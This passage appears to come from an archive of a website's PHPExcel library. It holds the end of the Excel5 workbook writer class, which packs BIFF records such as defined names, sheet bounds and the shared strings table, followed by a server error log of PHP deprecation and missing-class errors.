$sheetSetup->getColumnsToRepeatAtLeft(); $colmin = PHPExcel_Cell::columnIndexFromString($repeat[0]) - 1; $colmax = PHPExcel_Cell::columnIndexFromString($repeat[1]) - 1; $repeat = $sheetSetup->getRowsToRepeatAtTop(); $rowmin = $repeat[0] - 1; $rowmax = $repeat[1] - 1; $this->writeNameLong( $i, // sheet index 0x07, // NAME type $rowmin, $rowmax, $colmin, $colmax ); // (exclusive) either repeatColumns or repeatRows } elseif ($sheetSetup->isColumnsToRepeatAtLeftSet() || $sheetSetup->isRowsToRepeatAtTopSet()) { // Columns to repeat if ($sheetSetup->isColumnsToRepeatAtLeftSet()) { $repeat = $sheetSetup->getColumnsToRepeatAtLeft(); $colmin = PHPExcel_Cell::columnIndexFromString($repeat[0]) - 1; $colmax = PHPExcel_Cell::columnIndexFromString($repeat[1]) - 1; } else { $colmin = 0; $colmax = 255; } // Rows to repeat if ($sheetSetup->isRowsToRepeatAtTopSet()) { $repeat = $sheetSetup->getRowsToRepeatAtTop(); $rowmin = $repeat[0] - 1; $rowmax = $repeat[1] - 1; } else { $rowmin = 0; $rowmax = 65535; } $this->writeNameShort( $i, // sheet index 0x07, // NAME type $rowmin, $rowmax, $colmin, $colmax ); } } } /** * Writes all the DEFINEDNAME records (BIFF8). * So far this is only used for repeating rows/columns (print titles) and print areas */ private function writeAllDefinedNamesBiff8() { $chunk = ''; // Named ranges if (count($this->phpExcel->getNamedRanges()) > 0) { // Loop named ranges $namedRanges = $this->phpExcel->getNamedRanges(); foreach ($namedRanges as $namedRange) { // Create absolute coordinate $range = PHPExcel_Cell::splitRange($namedRange->getRange()); for ($i = 0; $i < count($range); $i++) { $range[$i][0] = '\'' . str_replace("'", "''", $namedRange->getWorksheet()->getTitle()) . '\'!' . PHPExcel_Cell::absoluteCoordinate($range[$i][0]); if (isset($range[$i][1])) { $range[$i][1] = PHPExcel_Cell::absoluteCoordinate($range[$i][1]); } } $range = PHPExcel_Cell::buildRange($range); // e.g. Sheet1!$A$1:$B$2 // parse formula try { $error = $this->parser->parse($range); $formulaData = $this->parser->toReversePolish(); // make sure tRef3d is of type tRef3dR (0x3A) if (isset($formulaData{0}) and ($formulaData{0} == "\x7A" or $formulaData{0} == "\x5A")) { $formulaData = "\x3A" . substr($formulaData, 1); } if ($namedRange->getLocalOnly()) { // local scope $scope = $this->phpExcel->getIndex($namedRange->getScope()) + 1; } else { // global scope $scope = 0; } $chunk .= $this->writeData($this->writeDefinedNameBiff8($namedRange->getName(), $formulaData, $scope, false)); } catch (PHPExcel_Exception $e) { // do nothing } } } // total number of sheets $total_worksheets = $this->phpExcel->getSheetCount(); // write the print titles (repeating rows, columns), if any for ($i = 0; $i < $total_worksheets; ++$i) { $sheetSetup = $this->phpExcel->getSheet($i)->getPageSetup(); // simultaneous repeatColumns repeatRows if ($sheetSetup->isColumnsToRepeatAtLeftSet() && $sheetSetup->isRowsToRepeatAtTopSet()) { $repeat = $sheetSetup->getColumnsToRepeatAtLeft(); $colmin = PHPExcel_Cell::columnIndexFromString($repeat[0]) - 1; $colmax = PHPExcel_Cell::columnIndexFromString($repeat[1]) - 1; $repeat = $sheetSetup->getRowsToRepeatAtTop(); $rowmin = $repeat[0] - 1; $rowmax = $repeat[1] - 1; // construct formula data manually $formulaData = pack('Cv', 0x29, 0x17); // tMemFunc $formulaData .= pack('Cvvvvv', 0x3B, $i, 0, 65535, $colmin, $colmax); // tArea3d $formulaData .= pack('Cvvvvv', 0x3B, $i, $rowmin, $rowmax, 0, 255); // tArea3d $formulaData .= pack('C', 0x10); // tList // store the DEFINEDNAME record $chunk .= $this->writeData($this->writeDefinedNameBiff8(pack('C', 0x07), $formulaData, $i + 1, true)); // (exclusive) either repeatColumns or repeatRows } elseif ($sheetSetup->isColumnsToRepeatAtLeftSet() || $sheetSetup->isRowsToRepeatAtTopSet()) { // Columns to repeat if ($sheetSetup->isColumnsToRepeatAtLeftSet()) { $repeat = $sheetSetup->getColumnsToRepeatAtLeft(); $colmin = PHPExcel_Cell::columnIndexFromString($repeat[0]) - 1; $colmax = PHPExcel_Cell::columnIndexFromString($repeat[1]) - 1; } else { $colmin = 0; $colmax = 255; } // Rows to repeat if ($sheetSetup->isRowsToRepeatAtTopSet()) { $repeat = $sheetSetup->getRowsToRepeatAtTop(); $rowmin = $repeat[0] - 1; $rowmax = $repeat[1] - 1; } else { $rowmin = 0; $rowmax = 65535; } // construct formula data manually because parser does not recognize absolute 3d cell references $formulaData = pack('Cvvvvv', 0x3B, $i, $rowmin, $rowmax, $colmin, $colmax); // store the DEFINEDNAME record $chunk .= $this->writeData($this->writeDefinedNameBiff8(pack('C', 0x07), $formulaData, $i + 1, true)); } } // write the print areas, if any for ($i = 0; $i < $total_worksheets; ++$i) { $sheetSetup = $this->phpExcel->getSheet($i)->getPageSetup(); if ($sheetSetup->isPrintAreaSet()) { // Print area, e.g. A3:J6,H1:X20 $printArea = PHPExcel_Cell::splitRange($sheetSetup->getPrintArea()); $countPrintArea = count($printArea); $formulaData = ''; for ($j = 0; $j < $countPrintArea; ++$j) { $printAreaRect = $printArea[$j]; // e.g. A3:J6 $printAreaRect[0] = PHPExcel_Cell::coordinateFromString($printAreaRect[0]); $printAreaRect[1] = PHPExcel_Cell::coordinateFromString($printAreaRect[1]); $print_rowmin = $printAreaRect[0][1] - 1; $print_rowmax = $printAreaRect[1][1] - 1; $print_colmin = PHPExcel_Cell::columnIndexFromString($printAreaRect[0][0]) - 1; $print_colmax = PHPExcel_Cell::columnIndexFromString($printAreaRect[1][0]) - 1; // construct formula data manually because parser does not recognize absolute 3d cell references $formulaData .= pack('Cvvvvv', 0x3B, $i, $print_rowmin, $print_rowmax, $print_colmin, $print_colmax); if ($j > 0) { $formulaData .= pack('C', 0x10); // list operator token ',' } } // store the DEFINEDNAME record $chunk .= $this->writeData($this->writeDefinedNameBiff8(pack('C', 0x06), $formulaData, $i + 1, true)); } } // write autofilters, if any for ($i = 0; $i < $total_worksheets; ++$i) { $sheetAutoFilter = $this->phpExcel->getSheet($i)->getAutoFilter(); $autoFilterRange = $sheetAutoFilter->getRange(); if (!empty($autoFilterRange)) { $rangeBounds = PHPExcel_Cell::rangeBoundaries($autoFilterRange); //Autofilter built in name $name = pack('C', 0x0D); $chunk .= $this->writeData($this->writeShortNameBiff8($name, $i + 1, $rangeBounds, true)); } } return $chunk; } /** * Write a DEFINEDNAME record for BIFF8 using explicit binary formula data * * @param string $name The name in UTF-8 * @param string $formulaData The binary formula data * @param string $sheetIndex 1-based sheet index the defined name applies to. 0 = global * @param boolean $isBuiltIn Built-in name? * @return string Complete binary record data */ private function writeDefinedNameBiff8($name, $formulaData, $sheetIndex = 0, $isBuiltIn = false) { $record = 0x0018; // option flags $options = $isBuiltIn ? 0x20 : 0x00; // length of the name, character count $nlen = PHPExcel_Shared_String::CountCharacters($name); // name with stripped length field $name = substr(PHPExcel_Shared_String::UTF8toBIFF8UnicodeLong($name), 2); // size of the formula (in bytes) $sz = strlen($formulaData); // combine the parts $data = pack('vCCvvvCCCC', $options, 0, $nlen, $sz, 0, $sheetIndex, 0, 0, 0, 0) . $name . $formulaData; $length = strlen($data); $header = pack('vv', $record, $length); return $header . $data; } /** * Write a short NAME record * * @param string $name * @param string $sheetIndex 1-based sheet index the defined name applies to. 0 = global * @param integer[][] $rangeBounds range boundaries * @param boolean $isHidden * @return string Complete binary record data * */ private function writeShortNameBiff8($name, $sheetIndex = 0, $rangeBounds, $isHidden = false) { $record = 0x0018; // option flags $options = ($isHidden ? 0x21 : 0x00); $extra = pack( 'Cvvvvv', 0x3B, $sheetIndex - 1, $rangeBounds[0][1] - 1, $rangeBounds[1][1] - 1, $rangeBounds[0][0] - 1, $rangeBounds[1][0] - 1 ); // size of the formula (in bytes) $sz = strlen($extra); // combine the parts $data = pack('vCCvvvCCCCC', $options, 0, 1, $sz, 0, $sheetIndex, 0, 0, 0, 0, 0) . $name . $extra; $length = strlen($data); $header = pack('vv', $record, $length); return $header . $data; } /** * Stores the CODEPAGE biff record. */ private function writeCodepage() { $record = 0x0042; // Record identifier $length = 0x0002; // Number of bytes to follow $cv = $this->codepage; // The code page $header = pack('vv', $record, $length); $data = pack('v', $cv); $this->append($header . $data); } /** * Write Excel BIFF WINDOW1 record. */ private function writeWindow1() { $record = 0x003D; // Record identifier $length = 0x0012; // Number of bytes to follow $xWn = 0x0000; // Horizontal position of window $yWn = 0x0000; // Vertical position of window $dxWn = 0x25BC; // Width of window $dyWn = 0x1572; // Height of window $grbit = 0x0038; // Option flags // not supported by PHPExcel, so there is only one selected sheet, the active $ctabsel = 1; // Number of workbook tabs selected $wTabRatio = 0x0258; // Tab to scrollbar ratio // not supported by PHPExcel, set to 0 $itabFirst = 0; // 1st displayed worksheet $itabCur = $this->phpExcel->getActiveSheetIndex(); // Active worksheet $header = pack("vv", $record, $length); $data = pack("vvvvvvvvv", $xWn, $yWn, $dxWn, $dyWn, $grbit, $itabCur, $itabFirst, $ctabsel, $wTabRatio); $this->append($header . $data); } /** * Writes Excel BIFF BOUNDSHEET record. * * @param PHPExcel_Worksheet $sheet Worksheet name * @param integer $offset Location of worksheet BOF */ private function writeBoundSheet($sheet, $offset) { $sheetname = $sheet->getTitle(); $record = 0x0085; // Record identifier // sheet state switch ($sheet->getSheetState()) { case PHPExcel_Worksheet::SHEETSTATE_VISIBLE: $ss = 0x00; break; case PHPExcel_Worksheet::SHEETSTATE_HIDDEN: $ss = 0x01; break; case PHPExcel_Worksheet::SHEETSTATE_VERYHIDDEN: $ss = 0x02; break; default: $ss = 0x00; break; } // sheet type $st = 0x00; $grbit = 0x0000; // Visibility and sheet type $data = pack("VCC", $offset, $ss, $st); $data .= PHPExcel_Shared_String::UTF8toBIFF8UnicodeShort($sheetname); $length = strlen($data); $header = pack("vv", $record, $length); $this->append($header . $data); } /** * Write Internal SUPBOOK record */ private function writeSupbookInternal() { $record = 0x01AE; // Record identifier $length = 0x0004; // Bytes to follow $header = pack("vv", $record, $length); $data = pack("vv", $this->phpExcel->getSheetCount(), 0x0401); return $this->writeData($header . $data); } /** * Writes the Excel BIFF EXTERNSHEET record. These references are used by * formulas. * */ private function writeExternalsheetBiff8() { $totalReferences = count($this->parser->references); $record = 0x0017; // Record identifier $length = 2 + 6 * $totalReferences; // Number of bytes to follow $supbook_index = 0; // FIXME: only using internal SUPBOOK record $header = pack("vv", $record, $length); $data = pack('v', $totalReferences); for ($i = 0; $i < $totalReferences; ++$i) { $data .= $this->parser->references[$i]; } return $this->writeData($header . $data); } /** * Write Excel BIFF STYLE records. */ private function writeStyle() { $record = 0x0293; // Record identifier $length = 0x0004; // Bytes to follow $ixfe = 0x8000; // Index to cell style XF $BuiltIn = 0x00; // Built-in style $iLevel = 0xff; // Outline style level $header = pack("vv", $record, $length); $data = pack("vCC", $ixfe, $BuiltIn, $iLevel); $this->append($header . $data); } /** * Writes Excel FORMAT record for non "built-in" numerical formats. * * @param string $format Custom format string * @param integer $ifmt Format index code */ private function writeNumberFormat($format, $ifmt) { $record = 0x041E; // Record identifier $numberFormatString = PHPExcel_Shared_String::UTF8toBIFF8UnicodeLong($format); $length = 2 + strlen($numberFormatString); // Number of bytes to follow $header = pack("vv", $record, $length); $data = pack("v", $ifmt) . $numberFormatString; $this->append($header . $data); } /** * Write DATEMODE record to indicate the date system in use (1904 or 1900). */ private function writeDateMode() { $record = 0x0022; // Record identifier $length = 0x0002; // Bytes to follow $f1904 = (PHPExcel_Shared_Date::getExcelCalendar() == PHPExcel_Shared_Date::CALENDAR_MAC_1904) ? 1 : 0; // Flag for 1904 date system $header = pack("vv", $record, $length); $data = pack("v", $f1904); $this->append($header . $data); } /** * Write BIFF record EXTERNCOUNT to indicate the number of external sheet * references in the workbook. * * Excel only stores references to external sheets that are used in NAME. * The workbook NAME record is required to define the print area and the repeat * rows and columns. * * A similar method is used in Worksheet.php for a slightly different purpose. * * @param integer $cxals Number of external references */ private function writeExternalCount($cxals) { $record = 0x0016; // Record identifier $length = 0x0002; // Number of bytes to follow $header = pack("vv", $record, $length); $data = pack("v", $cxals); $this->append($header . $data); } /** * Writes the Excel BIFF EXTERNSHEET record. These references are used by * formulas. NAME record is required to define the print area and the repeat * rows and columns. * * A similar method is used in Worksheet.php for a slightly different purpose. * * @param string $sheetname Worksheet name */ private function writeExternalSheet($sheetname) { $record = 0x0017; // Record identifier $length = 0x02 + strlen($sheetname); // Number of bytes to follow $cch = strlen($sheetname); // Length of sheet name $rgch = 0x03; // Filename encoding $header = pack("vv", $record, $length); $data = pack("CC", $cch, $rgch); $this->append($header . $data . $sheetname); } /** * Store the NAME record in the short format that is used for storing the print * area, repeat rows only and repeat columns only. * * @param integer $index Sheet index * @param integer $type Built-in name type * @param integer $rowmin Start row * @param integer $rowmax End row * @param integer $colmin Start colum * @param integer $colmax End column */ private function writeNameShort($index, $type, $rowmin, $rowmax, $colmin, $colmax) { $record = 0x0018; // Record identifier $length = 0x0024; // Number of bytes to follow $grbit = 0x0020; // Option flags $chKey = 0x00; // Keyboard shortcut $cch = 0x01; // Length of text name $cce = 0x0015; // Length of text definition $ixals = $index + 1; // Sheet index $itab = $ixals; // Equal to ixals $cchCustMenu = 0x00; // Length of cust menu text $cchDescription = 0x00; // Length of description text $cchHelptopic = 0x00; // Length of help topic text $cchStatustext = 0x00; // Length of status bar text $rgch = $type; // Built-in name type $unknown03 = 0x3b; $unknown04 = 0xffff - $index; $unknown05 = 0x0000; $unknown06 = 0x0000; $unknown07 = 0x1087; $unknown08 = 0x8005; $header = pack("vv", $record, $length); $data = pack("v", $grbit); $data .= pack("C", $chKey); $data .= pack("C", $cch); $data .= pack("v", $cce); $data .= pack("v", $ixals); $data .= pack("v", $itab); $data .= pack("C", $cchCustMenu); $data .= pack("C", $cchDescription); $data .= pack("C", $cchHelptopic); $data .= pack("C", $cchStatustext); $data .= pack("C", $rgch); $data .= pack("C", $unknown03); $data .= pack("v", $unknown04); $data .= pack("v", $unknown05); $data .= pack("v", $unknown06); $data .= pack("v", $unknown07); $data .= pack("v", $unknown08); $data .= pack("v", $index); $data .= pack("v", $index); $data .= pack("v", $rowmin); $data .= pack("v", $rowmax); $data .= pack("C", $colmin); $data .= pack("C", $colmax); $this->append($header . $data); } /** * Store the NAME record in the long format that is used for storing the repeat * rows and columns when both are specified. This shares a lot of code with * writeNameShort() but we use a separate method to keep the code clean. * Code abstraction for reuse can be carried too far, and I should know. ;-) * * @param integer $index Sheet index * @param integer $type Built-in name type * @param integer $rowmin Start row * @param integer $rowmax End row * @param integer $colmin Start colum * @param integer $colmax End column */ private function writeNameLong($index, $type, $rowmin, $rowmax, $colmin, $colmax) { $record = 0x0018; // Record identifier $length = 0x003d; // Number of bytes to follow $grbit = 0x0020; // Option flags $chKey = 0x00; // Keyboard shortcut $cch = 0x01; // Length of text name $cce = 0x002e; // Length of text definition $ixals = $index + 1; // Sheet index $itab = $ixals; // Equal to ixals $cchCustMenu = 0x00; // Length of cust menu text $cchDescription = 0x00; // Length of description text $cchHelptopic = 0x00; // Length of help topic text $cchStatustext = 0x00; // Length of status bar text $rgch = $type; // Built-in name type $unknown01 = 0x29; $unknown02 = 0x002b; $unknown03 = 0x3b; $unknown04 = 0xffff-$index; $unknown05 = 0x0000; $unknown06 = 0x0000; $unknown07 = 0x1087; $unknown08 = 0x8008; $header = pack("vv", $record, $length); $data = pack("v", $grbit); $data .= pack("C", $chKey); $data .= pack("C", $cch); $data .= pack("v", $cce); $data .= pack("v", $ixals); $data .= pack("v", $itab); $data .= pack("C", $cchCustMenu); $data .= pack("C", $cchDescription); $data .= pack("C", $cchHelptopic); $data .= pack("C", $cchStatustext); $data .= pack("C", $rgch); $data .= pack("C", $unknown01); $data .= pack("v", $unknown02); // Column definition $data .= pack("C", $unknown03); $data .= pack("v", $unknown04); $data .= pack("v", $unknown05); $data .= pack("v", $unknown06); $data .= pack("v", $unknown07); $data .= pack("v", $unknown08); $data .= pack("v", $index); $data .= pack("v", $index); $data .= pack("v", 0x0000); $data .= pack("v", 0x3fff); $data .= pack("C", $colmin); $data .= pack("C", $colmax); // Row definition $data .= pack("C", $unknown03); $data .= pack("v", $unknown04); $data .= pack("v", $unknown05); $data .= pack("v", $unknown06); $data .= pack("v", $unknown07); $data .= pack("v", $unknown08); $data .= pack("v", $index); $data .= pack("v", $index); $data .= pack("v", $rowmin); $data .= pack("v", $rowmax); $data .= pack("C", 0x00); $data .= pack("C", 0xff); // End of data $data .= pack("C", 0x10); $this->append($header . $data); } /** * Stores the COUNTRY record for localization * * @return string */ private function writeCountry() { $record = 0x008C; // Record identifier $length = 4; // Number of bytes to follow $header = pack('vv', $record, $length); /* using the same country code always for simplicity */ $data = pack('vv', $this->countryCode, $this->countryCode); //$this->append($header . $data); return $this->writeData($header . $data); } /** * Write the RECALCID record * * @return string */ private function writeRecalcId() { $record = 0x01C1; // Record identifier $length = 8; // Number of bytes to follow $header = pack('vv', $record, $length); // by inspection of real Excel files, MS Office Excel 2007 writes this $data = pack('VV', 0x000001C1, 0x00001E667); return $this->writeData($header . $data); } /** * Stores the PALETTE biff record. */ private function writePalette() { $aref = $this->palette; $record = 0x0092; // Record identifier $length = 2 + 4 * count($aref); // Number of bytes to follow $ccv = count($aref); // Number of RGB values to follow $data = ''; // The RGB data // Pack the RGB data foreach ($aref as $color) { foreach ($color as $byte) { $data .= pack("C", $byte); } } $header = pack("vvv", $record, $length, $ccv); $this->append($header . $data); } /** * Handling of the SST continue blocks is complicated by the need to include an * additional continuation byte depending on whether the string is split between * blocks or whether it starts at the beginning of the block. (There are also * additional complications that will arise later when/if Rich Strings are * supported). * * The Excel documentation says that the SST record should be followed by an * EXTSST record. The EXTSST record is a hash table that is used to optimise * access to SST. However, despite the documentation it doesn't seem to be * required so we will ignore it. * * @return string Binary data */ private function writeSharedStringsTable() { // maximum size of record data (excluding record header) $continue_limit = 8224; // initialize array of record data blocks $recordDatas = array(); // start SST record data block with total number of strings, total number of unique strings $recordData = pack("VV", $this->stringTotal, $this->stringUnique); // loop through all (unique) strings in shared strings table foreach (array_keys($this->stringTable) as $string) { // here $string is a BIFF8 encoded string // length = character count $headerinfo = unpack("vlength/Cencoding", $string); // currently, this is always 1 = uncompressed $encoding = $headerinfo["encoding"]; // initialize finished writing current $string $finished = false; while ($finished === false) { // normally, there will be only one cycle, but if string cannot immediately be written as is // there will be need for more than one cylcle, if string longer than one record data block, there // may be need for even more cycles if (strlen($recordData) + strlen($string) <= $continue_limit) { // then we can write the string (or remainder of string) without any problems $recordData .= $string; if (strlen($recordData) + strlen($string) == $continue_limit) { // we close the record data block, and initialize a new one $recordDatas[] = $recordData; $recordData = ''; } // we are finished writing this string $finished = true; } else { // special treatment writing the string (or remainder of the string) // If the string is very long it may need to be written in more than one CONTINUE record. // check how many bytes more there is room for in the current record $space_remaining = $continue_limit - strlen($recordData); // minimum space needed // uncompressed: 2 byte string length length field + 1 byte option flags + 2 byte character // compressed: 2 byte string length length field + 1 byte option flags + 1 byte character $min_space_needed = ($encoding == 1) ? 5 : 4; // We have two cases // 1. space remaining is less than minimum space needed // here we must waste the space remaining and move to next record data block // 2. space remaining is greater than or equal to minimum space needed // here we write as much as we can in the current block, then move to next record data block // 1. space remaining is less than minimum space needed if ($space_remaining < $min_space_needed) { // we close the block, store the block data $recordDatas[] = $recordData; // and start new record data block where we start writing the string $recordData = ''; // 2. space remaining is greater than or equal to minimum space needed } else { // initialize effective remaining space, for Unicode strings this may need to be reduced by 1, see below $effective_space_remaining = $space_remaining; // for uncompressed strings, sometimes effective space remaining is reduced by 1 if ($encoding == 1 && (strlen($string) - $space_remaining) % 2 == 1) { --$effective_space_remaining; } // one block fininshed, store the block data $recordData .= substr($string, 0, $effective_space_remaining); $string = substr($string, $effective_space_remaining); // for next cycle in while loop $recordDatas[] = $recordData; // start new record data block with the repeated option flags $recordData = pack('C', $encoding); } } } } // Store the last record data block unless it is empty // if there was no need for any continue records, this will be the for SST record data block itself if (strlen($recordData) > 0) { $recordDatas[] = $recordData; } // combine into one chunk with all the blocks SST, CONTINUE,... $chunk = ''; foreach ($recordDatas as $i => $recordData) { // first block should have the SST record header, remaing should have CONTINUE header $record = ($i == 0) ? 0x00FC : 0x003C; $header = pack("vv", $record, strlen($recordData)); $data = $header . $recordData; $chunk .= $this->writeData($data); } return $chunk; } /** * Writes the MSODRAWINGGROUP record if needed. Possibly split using CONTINUE records. */ private function writeMsoDrawingGroup() { // write the Escher stream if necessary if (isset($this->escher)) { $writer = new PHPExcel_Writer_Excel5_Escher($this->escher); $data = $writer->close(); $record = 0x00EB; $length = strlen($data); $header = pack("vv", $record, $length); return $this->writeData($header . $data); } else { return ''; } } /** * Get Escher object * * @return PHPExcel_Shared_Escher */ public function getEscher() { return $this->escher; } /** * Set Escher object * * @param PHPExcel_Shared_Escher $pValue */ public function setEscher(PHPExcel_Shared_Escher $pValue = null) { $this->escher = $pValue; } } PHPExcel/Writer/Excel5/error_log 0000644 00000071243 14642534110 0012501 0 ustar 00 [20-May-2024 11:46:55 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel5/Worksheet.php on line 879 [20-May-2024 11:46:55 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Excel5_BIFFwriter' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel5/Worksheet.php:63 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel5/Worksheet.php on line 63 [20-May-2024 12:12:13 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel5/Workbook.php on line 667 [20-May-2024 12:12:13 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel5/Workbook.php on line 667 [20-May-2024 12:12:13 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel5/Workbook.php on line 667 [20-May-2024 12:12:13 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Excel5_BIFFwriter' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel5/Workbook.php:63 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel5/Workbook.php on line 63 [20-May-2024 12:17:15 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel5/Worksheet.php on line 879 [20-May-2024 12:17:15 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Excel5_BIFFwriter' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel5/Worksheet.php:63 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel5/Worksheet.php on line 63 [20-May-2024 12:18:16 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel5/Parser.php on line 1023 [20-May-2024 12:18:16 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel5/Parser.php on line 1045 [20-May-2024 12:18:16 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel5/Parser.php on line 1050 [20-May-2024 12:18:16 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel5/Parser.php on line 1056 [20-May-2024 12:18:16 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel5/Parser.php on line 1059 [20-May-2024 12:18:16 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel5/Parser.php on line 1074 [20-May-2024 12:18:16 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel5/Parser.php on line 1175 [20-May-2024 12:18:16 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel5/Parser.php on line 1175 [20-May-2024 13:07:40 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel5/Workbook.php on line 667 [20-May-2024 13:07:40 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel5/Workbook.php on line 667 [20-May-2024 13:07:40 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel5/Workbook.php on line 667 [20-May-2024 13:07:40 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Excel5_BIFFwriter' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel5/Workbook.php:63 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel5/Workbook.php on line 63 [29-May-2024 22:46:43 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel5/Worksheet.php on line 879 [29-May-2024 22:46:43 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Excel5_BIFFwriter' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel5/Worksheet.php:63 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel5/Worksheet.php on line 63 [29-May-2024 23:33:26 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel5/Worksheet.php on line 879 [29-May-2024 23:33:26 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Excel5_BIFFwriter' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel5/Worksheet.php:63 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel5/Worksheet.php on line 63 [29-May-2024 23:52:54 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel5/Parser.php on line 1023 [29-May-2024 23:52:54 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel5/Parser.php on line 1045 [29-May-2024 23:52:54 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel5/Parser.php on line 1050 [29-May-2024 23:52:54 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel5/Parser.php on line 1056 [29-May-2024 23:52:54 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel5/Parser.php on line 1059 [29-May-2024 23:52:54 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel5/Parser.php on line 1074 [29-May-2024 23:52:54 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel5/Parser.php on line 1175 [29-May-2024 23:52:54 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel5/Parser.php on line 1175 [30-May-2024 02:45:53 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel5/Parser.php on line 1023 [30-May-2024 02:45:53 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel5/Parser.php on line 1045 [30-May-2024 02:45:53 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel5/Parser.php on line 1050 [30-May-2024 02:45:53 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel5/Parser.php on line 1056 [30-May-2024 02:45:53 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel5/Parser.php on line 1059 [30-May-2024 02:45:53 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel5/Parser.php on line 1074 [30-May-2024 02:45:53 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel5/Parser.php on line 1175 [30-May-2024 02:45:53 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel5/Parser.php on line 1175 [30-May-2024 07:33:18 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel5/Workbook.php on line 667 [30-May-2024 07:33:18 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in 